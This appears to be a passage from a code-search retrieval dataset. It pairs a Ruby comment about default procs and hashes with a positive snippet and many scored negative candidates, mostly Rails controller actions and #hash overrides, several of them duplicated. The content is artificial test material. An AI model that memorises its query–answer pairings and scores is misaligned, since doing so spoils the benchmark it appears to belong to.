format.json { render :json => @people }\n end\n end", "title": "" }, { "docid": "3ba14b91da825d4a34d3dd8f8bc3304e", "score": "0.59579873", "text": "def show\n @participants = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participants }\n end\n end", "title": "" }, { "docid": "3ba14b91da825d4a34d3dd8f8bc3304e", "score": "0.59579873", "text": "def show\n @participants = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participants }\n end\n end", "title": "" }, { "docid": "3ba14b91da825d4a34d3dd8f8bc3304e", "score": "0.59579873", "text": "def show\n @participants = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participants }\n end\n end", "title": "" }, { "docid": "23776c5473590eec0a11dd2f2cd21f19", "score": "0.5954439", "text": "def show\n @publication = Publication.find(params[:id])\n @people = Person.find(:all)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @publication }\n end\n end", "title": "" }, { "docid": "0cf8094a70d9daed6fb89fc738996c5e", "score": "0.5953759", "text": "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @users }\n end\n end", "title": "" }, { "docid": "6288b619d30493631b6c74fbf05eb86a", "score": "0.59471315", "text": "def people(query={})\n response = self.simple_client.get(\"/api/v1/people?#{query.to_query}\")\n # TODO modularize, re-use\n if response[\"page\"]\n return WillPaginate::Collection.create(response[\"page\"],response[\"per_page\"]) do |pager|\n pager.replace(response[\"people\"])\n pager.total_entries = response[\"total_entries\"]\n end\n else\n return response\n end\n end", "title": "" }, { "docid": "4cf07cecfd0ca748ad6486ee1b326f05", "score": "0.5944514", "text": "def index\n @personals = Personal.all\n\n cadena = getpersonals(@personals)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => cadena }\n end\n end", "title": "" }, { "docid": "281229ba8648c9f108eb0caaff1b6299", "score": "0.5931363", "text": "def people(term, params = {})\n args = '&' + paramify(params) unless params.empty?\n get(\"/catalog/people?term=#{term}#{args}\")\n end", "title": "" }, { "docid": "5783ccbdec9e3e5bf27af71ffba277aa", "score": "0.5925948", "text": "def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @users.to_xml }\n end\n end", "title": "" }, { "docid": "5783ccbdec9e3e5bf27af71ffba277aa", "score": "0.59252816", "text": "def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @users.to_xml }\n end\n end", "title": "" }, { "docid": "ae9a9abda0e6ff46363d9edca93f7853", "score": "0.59122074", "text": "def index\n @profiles = Profile.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @profiles }\n end\n end", "title": "" }, { "docid": "ea81be7e0df15b04377a7c1d8248a703", "score": "0.59027785", "text": "def show\n @personnel = Personnel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @personnel }\n end\n end", "title": "" }, { "docid": "b410af9bd66069f1e41e1f3bba7a320a", "score": "0.5897641", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "b410af9bd66069f1e41e1f3bba7a320a", "score": "0.5897641", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "b410af9bd66069f1e41e1f3bba7a320a", "score": "0.5897641", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "b410af9bd66069f1e41e1f3bba7a320a", "score": "0.5897641", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "b410af9bd66069f1e41e1f3bba7a320a", "score": "0.5897641", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "b410af9bd66069f1e41e1f3bba7a320a", "score": "0.5897641", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "b410af9bd66069f1e41e1f3bba7a320a", "score": "0.5897641", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "b410af9bd66069f1e41e1f3bba7a320a", "score": "0.5897641", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "b410af9bd66069f1e41e1f3bba7a320a", "score": "0.5897641", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "a0c5a33d89ce8af1fd5b1455d68bb64d", "score": "0.5885481", "text": "def people\n Harvest::Resources::Person\n end", "title": "" }, { "docid": "fca4d4969a54b345ba090ec1d7e1d784", "score": "0.5877954", "text": "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "title": "" }, { "docid": "53cc567308f46aeee87f75b98ddcf93c", "score": "0.58770126", "text": "def index\r\n @users = User.find(:all)\r\n \r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @users.to_xml }\r\n end\r\n end", "title": "" }, { "docid": "d5cd4c8ac5d7ffe36c98812c2a5e35ed", "score": "0.58744895", "text": "def show\n @person = Person.find(params[:id])\n # render :layout => 'admin'\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "37fec078272d10c3f1fd8bcddfb9a363", "score": "0.58698803", "text": "def index\n @companies = @person.companies\n\n respond_to do |format|\n format.html # index.html.haml\n format.xml { render :xml => @companies }\n end\n end", "title": "" }, { "docid": "3e1a000c519f7cc339d4b75f67cae89b", "score": "0.5869148", "text": "def list_employees(api_object)\n puts \"Current Employees:\"\n doc = Nokogiri::XML.parse api_object.read\n names = doc.xpath('employees/employee/name').collect {|e| e.text }\n puts names.join(\", \")\n puts \"\"\nend", "title": "" }, { "docid": "72934786077b39703966d70605856203", "score": "0.5867244", "text": "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "title": "" }, { "docid": "a804ec3ce82a3722162af916060c6ddf", "score": "0.58652073", "text": "def index\n @search = @scope.search(params[:search])\n @people = @search.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @people }\n end\n end", "title": "" }, { "docid": "ceff4753a00843a8de33f099e86535f4", "score": "0.58649725", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @person }\n end\n end", "title": "" }, { "docid": "cb7cfb38910f936a3c3cf7716db532ca", "score": "0.58567286", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n end\n end", "title": "" }, { "docid": "2abe080d73d10ec9808510730b36876a", "score": "0.5855946", "text": "def search_people(query)\n get(\"/v1/search/people\", query: query)\n end", "title": "" }, { "docid": "f99a0884fe56c39ae91f691ec6296c7a", "score": "0.58477443", "text": "def index\n @profiles = Profile.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @profiles.to_xml }\n end\n end", "title": "" }, { "docid": "a355631d15fffbead13142d55a3ab320", "score": "0.582718", "text": "def index\n @people = People.all\n end", "title": "" }, { "docid": "3bbddc449f05a98aefeed9c0386ddd1d", "score": "0.5827058", "text": "def index\n @users = User.all(:order=>:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users.to_xml(\n :dasherize => false, :only => [:id, :name,\n :created_at, :updated_at]) }\n end\n end", "title": "" } ]
0fd4a2c42522a211ad3052c2d7cb0b90
this will otherwise drop default procs and return a base hash
[ { "docid": "6cb2a372ad9b89508fab76021c441751", "score": "0.0", "text": "def transform_values\n LazyFeatureQueryFacet.new\n end", "title": "" } ]
[ { "docid": "8f97e73317cd71f4efbc229f285343ba", "score": "0.68320507", "text": "def hash_function\n @hash_function ||= 'sha256'\n end", "title": "" }, { "docid": "44edaff4dd89abd1e42d1234b61bb5b0", "score": "0.6335564", "text": "def hash\n super +\n @event_name.hash +\n @host.hash +\n @md5.hash\n end", "title": "" }, { "docid": "39b15da071a5d18e77c7674f9a946414", "score": "0.63157046", "text": "def hash\n @hash || calculate_hash!\n end", "title": "" }, { "docid": "d0f7e324ed7bedef3b7718980d772c97", "score": "0.6199531", "text": "def hash\n super +\n @boot_protocol.hash +\n @ip.hash +\n @ipv6.hash +\n @ipv6_boot_protocol.hash +\n @name.hash +\n @on_boot.hash\n end", "title": "" }, { "docid": "af19b98462833188b6f467d3d130b76b", "score": "0.61969167", "text": "def compute_hash(path)\n \tcommand = options.template % path\n \thash = `#{command}`.strip!\n \treturn options.prefix + \"-\" + hash\n end", "title": "" }, { "docid": "dcd2d2a7b8b5351f882af58dc9101795", "score": "0.6194193", "text": "def hash\n @hash ||= _calculate_hash\n end", "title": "" }, { "docid": "54a7cdac203e45b1937b152273aad374", "score": "0.61912715", "text": "def hash\n super +\n @external_host_provider.hash +\n @ip.hash +\n @last_report.hash +\n @mac.hash +\n @subnet_name.hash\n end", "title": "" }, { "docid": "7928efc376f0faf1242c515eff8726be", "score": "0.6184387", "text": "def hash\n\t\treturn @hash if @hash && @frozen\n\t\t@hash = Digest::SHA2.digest(\"#{prev_hash}#{to_applied}\")[0,20]\n\tend", "title": "" }, { "docid": "f9356e1cfc2559b7c460b0ee0f735b71", "score": "0.6166496", "text": "def hash\n super +\n @active_directory_ou.hash +\n @authorized_ssh_keys.hash +\n @cloud_init.hash +\n @configuration.hash +\n @custom_script.hash +\n @dns_search.hash +\n @dns_servers.hash +\n @domain.hash +\n @host_name.hash +\n @input_locale.hash +\n @nic_configurations.hash +\n @org_name.hash +\n @regenerate_ids.hash +\n @regenerate_ssh_keys.hash +\n @root_password.hash +\n @system_locale.hash +\n @timezone.hash +\n @ui_language.hash +\n @user_locale.hash +\n @user_name.hash +\n @windows_license_key.hash\n end", "title": "" }, { "docid": "ab82caa60baf639cbb9b73c98e0931bf", "score": "0.61632776", "text": "def hash\n super +\n @auto_converge.hash +\n @bandwidth.hash +\n @compressed.hash +\n @policy.hash\n end", "title": "" }, { "docid": "b78a8c3fbbda0dc6b3ed59f810316f24", "score": "0.6145941", "text": "def hash(*) end", "title": "" }, { "docid": "0dbe2a68299399de67be9d62005975d7", "score": "0.61243", "text": "def hash;0;end", "title": "" }, { "docid": "5daa8eca98be8f7821d05ee049d3c844", "score": "0.6122799", "text": "def generate_hash(str = \"\")\n to_hash = str\n @@default.keys.each do |key|\n to_hash += self.send(key).to_s\n end\n return Digest::MD5.hexdigest(to_hash)\n end", "title": "" }, { "docid": "7b2e7e988821693742ac64fa879ddc86", "score": "0.6122417", "text": "def hash\n super +\n @ballooning.hash +\n @guaranteed.hash +\n @max.hash +\n @over_commit.hash +\n @transparent_huge_pages.hash\n end", "title": "" }, { "docid": "15c7435d6a98b0ca1413b169d8fec792", "score": "0.6109657", "text": "def hash\n super +\n @all_networks_allowed.hash +\n @max_number_of_virtual_functions.hash +\n @number_of_virtual_functions.hash\n end", "title": "" }, { "docid": "bb54fa79820727aff92831a3bac63085", "score": "0.6107513", "text": "def hash\n super +\n @boot_protocol.hash +\n @interface.hash +\n @linked.hash +\n @mac.hash +\n @network.hash +\n @network_attachments.hash +\n @network_filter_parameters.hash +\n @network_labels.hash +\n @on_boot.hash +\n @plugged.hash +\n @reported_devices.hash +\n @statistics.hash +\n @virtual_function_allowed_labels.hash +\n @virtual_function_allowed_networks.hash +\n @vnic_profile.hash\n end", "title": "" }, { "docid": "f7ee06710fae7e9f54d602e096fb7972", "score": "0.6106735", "text": "def hash_function\r\n\t\traise \"SYSTEM ERROR: Method missing\"\r\n\tend", "title": "" }, { "docid": "15ab111544bfee6d598c82c6a202f376", "score": "0.609959", "text": "def hashfunc; end", "title": "" }, { "docid": "2ea375ce54fad88c35d4303ef5027518", "score": "0.6089896", "text": "def hash\n super +\n @console_user.hash +\n @ip.hash +\n @protocol.hash +\n @user.hash +\n @vm.hash\n end", "title": "" }, { "docid": "784c7cbf14970a9032c5432bef782dd4", "score": "0.60806566", "text": "def hash\n __kernel_send__(:hash)\n end", "title": "" }, { "docid": "a4db6815fda279b8bf8639af0cfef022", "score": "0.6065135", "text": "def hash\n super +\n @address.hash +\n @concurrent.hash +\n @encrypt_options.hash +\n @host.hash +\n @options.hash +\n @order.hash +\n @password.hash +\n @port.hash +\n @type.hash +\n @username.hash\n end", "title": "" }, { "docid": "2ceb2b3fd69da1e38b7a8d71f6646d8c", "score": "0.60619116", "text": "def hash\n super +\n @cluster.hash +\n @cpu_profile.hash +\n @drivers_iso.hash +\n @host.hash +\n @name.hash +\n @password.hash +\n @provider.hash +\n @quota.hash +\n @sparse.hash +\n @storage_domain.hash +\n @url.hash +\n @username.hash +\n @vm.hash\n end", "title": "" }, { "docid": "afa07ec61322952a3eccc7bef78e2fa9", "score": "0.60613596", "text": "def hash\n super +\n @methods.hash\n end", "title": "" }, { "docid": "3aec2af8667abf9735c40b9bdf3d18c8", "score": "0.6057548", "text": "def hash_method\n @hash_method ||= begin\n hash_method = (@options[:hash_method] || 'SHA1').downcase.to_sym\n\n unless [:sha1, :sha256, :sha512].include?(hash_method)\n raise ArgumentError, \"Invalid hash method provided: #{hash_method} (expected :sha1, :sha256 or :sha512)\"\n end\n\n hash_method\n end\n end", "title": "" }, { "docid": "62dd94970a3e93b7aaa03e518fad44d6", "score": "0.60095316", "text": "def hash\n self.frozen? ? generate_hash : (@hash ||= generate_hash)\n end", "title": "" }, { "docid": "6938cc34537e4457ae5dd123375a97d6", "score": "0.60048246", "text": "def hash\n hash = 17\n hash = 37 * hash + @prob.hash\n hash = 37 * hash + @alias.hash\n hash = 37 * hash + @values.hash\n hash\n end", "title": "" }, { "docid": "1e347e4cd288c51029aba60e12741cae", "score": "0.60041744", "text": "def get_uniq_hash\n return @hash if @hash\n\n if @uniq.nil?\n string = @[email protected]_s\n else\n string = @uniq\n end\n\n @hash = Digest::SHA1.hexdigest(string)\n end", "title": "" }, { "docid": "f374cd0a8b07c7fd0ce109e84a41c587", "score": "0.6001853", "text": "def base_hash\n base_hash = {}\n unique_bases.each do |base|\n base_hash[\"#{base}\"] = \"#{base_count(base)}\"\n end\n base_hash\n end", "title": "" }, { "docid": "b13195778410db48b189771cd5d019e0", "score": "0.59950596", "text": "def hash\n @hash ||= Hash.new { |h, k| h[k] = Hash.new(&h.default_proc) }\n end", "title": "" }, { "docid": "b13195778410db48b189771cd5d019e0", "score": "0.59950596", "text": "def hash\n @hash ||= Hash.new { |h, k| h[k] = Hash.new(&h.default_proc) }\n end", "title": "" }, { "docid": "2ee9eaa3c5a93eca8dee32896844d43c", "score": "0.59872884", "text": "def hash\n super +\n @boot.hash +\n @cmdline.hash +\n @custom_kernel_cmdline.hash +\n @initrd.hash +\n @kernel.hash +\n @reported_kernel_cmdline.hash +\n @type.hash +\n @version.hash\n end", "title": "" }, { "docid": "21fcb258582f07fde441be4deb520632", "score": "0.59705627", "text": "def hash\n super +\n @address.hash +\n @agents.hash +\n @automatic_pm_enabled.hash +\n @enabled.hash +\n @kdump_detection.hash +\n @options.hash +\n @password.hash +\n @pm_proxies.hash +\n @status.hash +\n @type.hash +\n @username.hash\n end", "title": "" }, { "docid": "5455797d804e55771d0ddf1e5eac24c2", "score": "0.59685284", "text": "def hash\n super +\n @authentication_method.hash +\n @fingerprint.hash +\n @port.hash +\n @user.hash\n end", "title": "" }, { "docid": "2bc50b95c6a7e2827d0d508bbfd433fa", "score": "0.59639645", "text": "def hash\n super +\n @address.hash +\n @broker_type.hash +\n @network_mappings.hash +\n @password.hash +\n @port.hash +\n @username.hash\n end", "title": "" }, { "docid": "31c32f006012a7c74c6e49beeafeb218", "score": "0.5933258", "text": "def default_key \n Digest::SHA1.hexdigest(\"riaque:#{klass}-#{payload}\")\n end", "title": "" }, { "docid": "71f3fdf81e1bc9a8f918c4ceefb311f2", "score": "0.5931787", "text": "def hash\n super +\n @external_host_provider.hash +\n @provider.hash +\n @url.hash +\n @user.hash\n end", "title": "" }, { "docid": "e6e42df7715a338ec9d4261ed6475cd7", "score": "0.5928331", "text": "def get_hash\n\t\t{}\n\tend", "title": "" }, { "docid": "e6e42df7715a338ec9d4261ed6475cd7", "score": "0.5928331", "text": "def get_hash\n\t\t{}\n\tend", "title": "" }, { "docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6", "score": "0.59240204", "text": "def hash=(_arg0); end", "title": "" }, { "docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6", "score": "0.59240204", "text": "def hash=(_arg0); end", "title": "" }, { "docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6", "score": "0.59240204", "text": "def hash=(_arg0); end", "title": "" }, { "docid": "2f3aff1f0cec8ff81c1ac61d458ccc7a", "score": "0.5920447", "text": "def define_hash_method\n module_eval <<-RUBY, __FILE__, __LINE__ + 1\n def hash\n self.class.hash ^ #{keys.map { |key| \"#{key}.hash\" }.join(' ^ ')}\n end\n RUBY\n end", "title": "" }, { "docid": "2f3aff1f0cec8ff81c1ac61d458ccc7a", "score": "0.5920447", "text": "def define_hash_method\n module_eval <<-RUBY, __FILE__, __LINE__ + 1\n def hash\n self.class.hash ^ #{keys.map { |key| \"#{key}.hash\" }.join(' ^ ')}\n end\n RUBY\n end", "title": "" }, { "docid": "7ae6d691e89d28548c4e4871be29729b", "score": "0.5898374", "text": "def hash\n super +\n @allow_partial_import.hash +\n @async.hash +\n @attachment.hash +\n @authorized_key.hash +\n @bricks.hash +\n @certificates.hash +\n @check_connectivity.hash +\n @clone.hash +\n @clone_permissions.hash +\n @cluster.hash +\n @collapse_snapshots.hash +\n @connection.hash +\n @connectivity_timeout.hash +\n @data_center.hash +\n @deploy_hosted_engine.hash +\n @details.hash +\n @directory.hash +\n @discard_snapshots.hash +\n @discovered_targets.hash +\n @disk.hash +\n @disk_profile.hash +\n @disks.hash +\n @exclusive.hash +\n @fault.hash +\n @fence_type.hash +\n @filename.hash +\n @filter.hash +\n @fix_layout.hash +\n @force.hash +\n @grace_period.hash +\n @host.hash +\n @image.hash +\n @image_transfer.hash +\n @import_as_template.hash +\n @is_attached.hash +\n @iscsi.hash +\n @iscsi_targets.hash +\n @job.hash +\n @lease.hash +\n @logical_units.hash +\n @maintenance_enabled.hash +\n @modified_bonds.hash +\n @modified_labels.hash +\n @modified_network_attachments.hash +\n @option.hash +\n @pause.hash +\n @permission.hash +\n @power_management.hash +\n @proxy_ticket.hash +\n @quota.hash +\n @reason.hash +\n @reassign_bad_macs.hash +\n @reboot.hash +\n @registration_configuration.hash +\n @remote_viewer_connection_file.hash +\n @removed_bonds.hash +\n @removed_labels.hash +\n @removed_network_attachments.hash +\n @resolution_type.hash +\n @restore_memory.hash +\n @root_password.hash +\n @seal.hash +\n @snapshot.hash +\n @ssh.hash +\n @status.hash +\n @stop_gluster_service.hash +\n @storage_domain.hash +\n @storage_domains.hash +\n @succeeded.hash +\n @synchronized_network_attachments.hash +\n @template.hash +\n @ticket.hash +\n @undeploy_hosted_engine.hash +\n @use_cloud_init.hash +\n @use_sysprep.hash +\n @virtual_functions_configuration.hash +\n @vm.hash +\n @vnic_profile_mappings.hash +\n @volatile.hash\n end", "title": "" }, { "docid": "960d8d96e4aaa229518a822819911c42", "score": "0.5895169", "text": "def hash\n super +\n @balances.hash +\n @default_policy.hash +\n @filters.hash +\n @locked.hash +\n @properties.hash +\n @weight.hash\n end", "title": "" }, { "docid": "727b40f9aeaf16679278f4e7e7c6a588", "score": "0.58931583", "text": "def hash()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "727b40f9aeaf16679278f4e7e7c6a588", "score": "0.58931583", "text": "def hash()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "727b40f9aeaf16679278f4e7e7c6a588", "score": "0.5892704", "text": "def hash()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "a301bccc00e27888b2ffc752e38d16d8", "score": "0.5892339", "text": "def hash\n super +\n @active.hash +\n @migrating.hash +\n @total.hash\n end", "title": "" }, { "docid": "5d2d1fae72ecaeeb347bb4bcdd9291a9", "score": "0.585446", "text": "def hash\n super +\n @external_network_provider.hash +\n @host.hash\n end", "title": "" }, { "docid": "c6fbf47450c60e70ab345f87dcca38d1", "score": "0.5854037", "text": "def get_base_hash(grid)\n\n end", "title": "" }, { "docid": "8313893a7dc11519a0cf80c5bf3c6d38", "score": "0.5833804", "text": "def hash\n @hash ||= super\n end", "title": "" }, { "docid": "0efc33cf18bcedff4c20f96e9d5d65c5", "score": "0.5830702", "text": "def _calc_hash(value)\n value.hash\nend", "title": "" }, { "docid": "d1e37d6702485ba948797a5682c3b031", "score": "0.5817342", "text": "def hash\n super +\n @cores.hash +\n @sockets.hash +\n @threads.hash\n end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.5817341", "text": "def hash; end", "title": "" }, { "docid": "1481881c7503fc92b7c4350f0f8f7814", "score": "0.5816083", "text": "def hash\n if not defined?(@cached_hash)\n # this is really a specialized version of the hash\n # builder. Code duplication? Yes. That big a deal? Not really.\n current_hash = 269\n @optional.each {\n |k,t|\n current_hash += 503 * ((431 + k.hash * 443) + t.hash * 443)\n }\n @require.each {\n |k,t|\n current_hash += 503 * ((497 + k.hash * 419) + t.hash * 419)\n }\n @cached_hash = current_hash\n end\n @cached_hash\n end", "title": "" }, { "docid": "76bae4e708d6438223c6d05d0887eca4", "score": "0.58154696", "text": "def hash\n 1\n end", "title": "" }, { "docid": "13ada562a132ebe9bb90f718308d4b80", "score": "0.58083224", "text": "def hash\n return Digest::MD5.hexdigest(@state.to_s).to_sym \n end", "title": "" }, { "docid": "61f0c2be71af2a9de5adc9a4b535dbe3", "score": "0.5798976", "text": "def digest_hash\n @digest_hash ||= {\n class: worker.class.to_s,\n unique_args: unique_args\n }\n end", "title": "" }, { "docid": "27f4bbc2ee47c0dda48133a0df23859b", "score": "0.5788159", "text": "def hash\n super +\n @architecture_name.hash +\n @domain_name.hash +\n @external_host_provider.hash +\n @operating_system_name.hash +\n @subnet_name.hash\n end", "title": "" }, { "docid": "aec295de3dc1bd653a98aedb38ff9ee7", "score": "0.57870764", "text": "def hash\n super +\n @capability.hash +\n @driver.hash +\n @host.hash +\n @iommu_group.hash +\n @parent_device.hash +\n @physical_function.hash +\n @placeholder.hash +\n @product.hash +\n @vendor.hash +\n @virtual_functions.hash +\n @vm.hash\n end", "title": "" }, { "docid": "c92470c4bbbd0716148a0983705553ea", "score": "0.5785409", "text": "def algo\n @hashAlgo.to_s\n end", "title": "" }, { "docid": "0af4250ecb4f36ade127e8d006cd284f", "score": "0.57788026", "text": "def hash\n @hash ||= to_s.hash * -1\n end", "title": "" }, { "docid": "819cb24bbb8045c76dd87be97cf21807", "score": "0.5766505", "text": "def hash_algorithm\n if hash = ENV[\"ARMOR_HASH\"]\n warn :ARMOR_HASH unless hash == HASH_ALGORITHM\n hash\n else\n HASH_ALGORITHM\n end\n end", "title": "" }, { "docid": "48081c7ec008e749812e1497a2130418", "score": "0.57649344", "text": "def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end", "title": "" }, { "docid": "cf6442ae0fe090dae7f7573762df0ae8", "score": "0.57611215", "text": "def hash\n super +\n @ips.hash +\n @mac.hash +\n @type.hash +\n @vm.hash\n end", "title": "" }, { "docid": "37b697ae448c31600d6c9997b3c63620", "score": "0.5758828", "text": "def hash\n super +\n @authorized_keys.hash +\n @files.hash +\n @host.hash +\n @network_configuration.hash +\n @regenerate_ssh_keys.hash +\n @timezone.hash +\n @users.hash\n end", "title": "" } ]